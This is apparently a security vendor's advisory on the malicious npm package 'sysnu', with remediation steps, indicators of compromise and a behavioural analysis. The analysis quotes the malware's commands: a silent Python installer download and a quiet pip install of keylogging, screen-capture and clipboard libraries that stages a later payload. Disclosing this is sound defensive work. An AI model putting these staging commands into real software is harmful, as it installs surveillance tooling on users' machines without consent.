Which versions of sysnu are malicious?

The following npm versions of sysnu are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate sysnu if I installed it?

Remove sysnu from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is sysnu part of a known attack campaign?

Yes — sysnu is associated with the IN-MAL-2026-005656, IN-MAL-2026-005652 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect sysnu in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking sysnu and packages like it before any post-install script runs.

Malicious package

sysnunpm

Malicious code in sysnu (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5617

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall sysnu

What this malware does

On require() / CLI invocation, sysnu performs two install-time-equivalent actions on Windows hosts. First, if python is not on PATH, index.js (lines 42-46) runs curl -s -L -o <tmp>\python-3.12.3-amd64.exe https://www.python.org/ftp/python/3.12.3/python-3.12.3-amd64.exe and then executes the installer with /quiet InstallAllUsers=0 PrependPath=1, deleting the installer afterwards. Code comments explicitly describe this as a 'GHOST INSTALLER' with 'No UI, No Admin Popup' — i.e., the runtime is provisioned and PATH is mutated with no user consent. Second, index.js line 73 unconditionally runs pip install pyperclip keyboard requests pillow mss pyautogui pywin32 uiautomation comtypes --quiet — a Windows surveillance stack covering keylogging (keyboard), screen capture (mss/pillow), input automation (pyautogui), clipboard scraping (pyperclip), and UI automation (uiautomation/comtypes/pywin32). Index.js line 81 then spawns python pointer.py, but pointer.py is NOT present in the tarball, so the package is a stager awaiting an out-of-band payload that will execute with the freshly-installed surveillance primitives available. The package's advertised purpose ('System binary configuration tool') has no relationship to clipboard/keyboard/screen capture. Metadata is placeholder-grade (author 'ABC', no repository/homepage, generic description), consistent with a throwaway dropper account.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

6ce3c0fee91f5a835d43c1c136e3535f4ce0bff6c519d59166e95cf7f7cefa3a

eac9873e59ffdf79c56fd4f9366b56e0532f87dc00c4380fae18d714785b0bc8

Frequently asked questions

No. sysnu on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005656IN-MAL-2026-005652

References

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection